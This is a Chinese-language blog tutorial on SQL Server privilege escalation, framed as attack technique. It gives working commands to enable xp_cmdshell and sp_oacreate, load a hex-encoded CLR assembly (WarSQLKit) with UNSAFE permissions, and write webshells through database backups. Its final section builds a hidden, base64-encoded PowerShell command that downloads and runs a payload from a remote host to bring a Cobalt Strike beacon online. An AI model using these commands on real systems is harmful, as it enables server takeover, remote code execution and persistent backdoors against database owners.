SQlserver提权方法

~Echo

已于 2023-05-24 14:01:10 修改

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分类专栏：内网攻防文章标签： sqlserver提权

于 2023-05-24 13:55:54 首次发布

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SQLServer命令执行上线powershell方式

关于SQLserver注入：SQL Server手工注入方式

sql server提权（执行命令）主要依赖于sql server自带的存储过程。目的：sqlserver权限 —> 系统权限

存储过程是一个可编程的函数，它在数据库中创建并保存，是存储在服务器中的一组预编译过的T-SQL语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式（可以将存储过程理解为函数调用的过程），使用execute命令执行存储过程。

主要分为系统存储过程、扩展存储过程、用户自定义的存储过程三大类。

系统存储过程主要存储在master数据库中，以sp_为前缀，在任何数据库中都可以调用，在调用的时候不必在存储过程前加上数据库名；
扩展存储过程则是对动态链接库(DLL)函数的调用，主要是用于客户端与服务器端或客户端之间进行通信的，以xp_为前缀，使用方法与系统存储过程类似；
用户定义的存储过程是SQLServer的使用者编写的存储过程。

提权方法

要执行系统命令，首先需获取sqlserver数据库的权限（一般是sa），然后借助数据库自带的存储过程进行提权，由开始的sqlserver权限提升到执行操作系统命令的权限。

xp_cmdshell执行系统命令

xp_cmdshell可以让系统管理员以操作cmd的方式执行给定的命令，并以文本方式返回输出，是一个功能非常强大的扩展存储过程。xp_cmdshell在SQLserver2000中默认开启，可以直接执行系统命令。2005本身及之后的版本默认禁止，所以想要使用其，就需要拥有SA账号相应权限，使用sp_configure将其开启。

2005的xp_cmdshell的权限一般是system，而2008多数为nt authority\network service。

1. 判断是否为sa权限，返回1则是

select is_srvrolemember('sysadmin')

2. 判断 xp_cmdshell 是否存在，1就是存在，0就是不存在

select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'

当结果为0时，可以通过下列命令恢复

如果xp_cmdshell被删除，则可以通过下列命令重新加载。

dbcc addextendedproc("xp_cmdshell","xplog70.dll");

如果连xplog70.dll也被删除，则可以通过下列命令恢复（未验证）

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';

3. 开启 xp_cmdshell

返回ok，则成功

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
--关闭xp_cmdshell
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',0;RECONFIGURE;

如果不开启，直接执行命令的话会报错

4. 执行系统命令

exec xp_cmdshell 'whoami';
--或
EXEC master..xp_cmdshell 'whoami'

可以看到当前用户权限是 network service权限，也有可能是system 权限，这个是跟安装过程中，设置启动服务的用户权限相关，建议使用 network service 权限，毕竟如果是 system 权限，那么对于攻击者而言都省下提权的操作了，如图：

如果在安装过程中"sql server数据库引擎"服务选择system账户

那么执行命令时，则为system权限

sp_oacreate执行系统命令

当xp_cmdshell被删除时，可以借助SQLServer中的COM组件SP_OACREATE来执行系统命令，原理是SQL Server提供了一些函数访问OLE对象，分别是sp_oacreate和sp_oamethod，可利用它们调用OLE控件，间接获取一个shell。

1. 使用下面命令查看是否可以使用 sp_oacreate 执行系统命令，回显0则可以使用

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'

如果SQLServer 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate' 的访问，可以使用以下命令打开。

EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;

2. 执行命令

这个没有 xp_cmdshell 好用的地方就是不能回显，可以将执行命令的结果进行重定向，然后再在系统中进行查看，比如命令：

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\test.txt'

那我们可以再使用type命令查看文件内容吗？答案是不行！如下，查看文件内容无任何回显。只能登录到系统中查看

使用CLR执行系统命令

从SQL Server 2005 (9.x) 开始，SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。这意味着现在可以使用任何 .NET Framework 语言（包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#）来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。

这种方法比较麻烦，需要自行根据目标创建项目代码，然后进行编译，当然这里直接使用已经编译好的文件的代码

--1.启用MSSQL CLR功能，为了导入了不安全的程序集，我们还需要将数据库标记为安全。
exec sp_configure 'show advanced options', 1;RECONFIGURE;Exec sp_configure 'clr enabled', 1;RECONFIGURE;ALTER DATABASE [master] SET TRUSTWORTHY ON;

--2.导入程序集（单独执行）
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e00000006000000000000022d0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b803000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b8030000004000000004000000100000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a731100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d16000001251602a2251703a2251872af000070a22519076f2500000a13051205282900000aa2251a7291000070a2251b1104252d0426142b056f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c00000038030000237e0000a4030000a804000023537472696e6773000000004c080000e80000002355530034090000100000002347554944000000440900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c000000030000000100000005000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae03060038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd0206009401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d00000000000100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e007800010080200000000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d000400000001007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c011500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e003b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a00200000200000000000000000000006b005500000000000200000000000000000000006b004000000000000200000000000000000000006b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e6500417070656e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174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WITH PERMISSION_SET = UNSAFE;

--3.创建存储过程（单独执行）
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;

--4.执行命令
EXEC sp_cmdExec 'ipconfig';

--删除该程序集
DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];

数据库差异备份写webshell

差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限，我们可以把数据库备份成asp文件，这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。实际情况中，我们得先获取网站的绝对路径，再写shell

前提条件

具有db_owner权限
知道web目录的绝对路径

这里为了演示方便，就直接生成一个php文件。分为两步执行

--第一步
create DATABASE Testdb;
--第二步
backup database Testdb to disk = 'c:\test2.bak';
use Testdb;
create table [dbo].[Testdb] ([cmd] [image]);
insert into Testdb(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
--3c3f70687020706870696e666f28293b3f3e为16进制的<?php phpinfo();?>
backup database Testdb to disk='C:\\phpinfo.php' WITH DIFFERENTIAL,FORMAT;

生成两个文件，phpinfo.php为webshell

日志差异备份写webshell

无论是日志备份还是差异备份，都是利用备份的过程中写入一句话木马。

LOG备份的要求是他的数据库备份过，而且选择恢复模式得是完整模式，至少在2008上是这样的。log备份的好处就是备份出来的webshell的文件大小非常的小

create database Testdb      --新建数据库Testdb
alter database Testdb set RECOVERY FULL;   --修改数据库恢复模式为 完整模式
create table cmd (a image);        --创建一张表cmd，只有一个列 a，类型为image
backup log Testdb to disk= 'C:\\1.php' with init;   --备份表到指定路径
insert into cmd (a) values(0x3c3f706870706870696e666f28293b3f3e);  --插入一句话到cmd表里
backup log Testdb to disk='C:\\phpinfo.php';   --把操作日志备份到指定文件

生成phpinfo.php

一键rce利用工具

mssql利用工具：GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization Tools

SQLServer命令执行上线powershell方式

一般由于引号的问题，命令执行时无法执行输入powershell代码进行上线，需要先进行编码

powershell上线代码如下

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.10.5:80/a'))"

base64编码

其中需对"IEX ((new-object net.webclient).downloadstring('http://192.168.10.5:80/a'))"内容进行base64编码，使用powershell进行。将其内容放在$fileContent上

$fileContent = "IEX ((new-object net.webclient).downloadstring('http://192.168.10.5:80/a'))";$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent);$encodedCommand = [Convert]::ToBase64String($bytes);echo $encodedCommand

最后结果如下

powershell.exe -nop -w hidden -exec bypass -Enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4ANQA6ADgAMAAvAGEAJwApACkA

将编码后的命令直接输入到如下命令执行框中，上线cs

~Echo

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SQlserver提权方法

sql server提权（执行命令）主要依赖于sql server自带的存储过程。目的：sqlserver权限 —> 系统权限存储过程是一个可编程的函数，它在数据库中创建并保存，是存储在服务器中的一组预编译过的T-SQL语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式（可以将存储过程理解为函数调用的过程），使用execute命令执行存储过程。主要分为系统存储过程、扩展存储过程、用户自定义的存储过程三大类。
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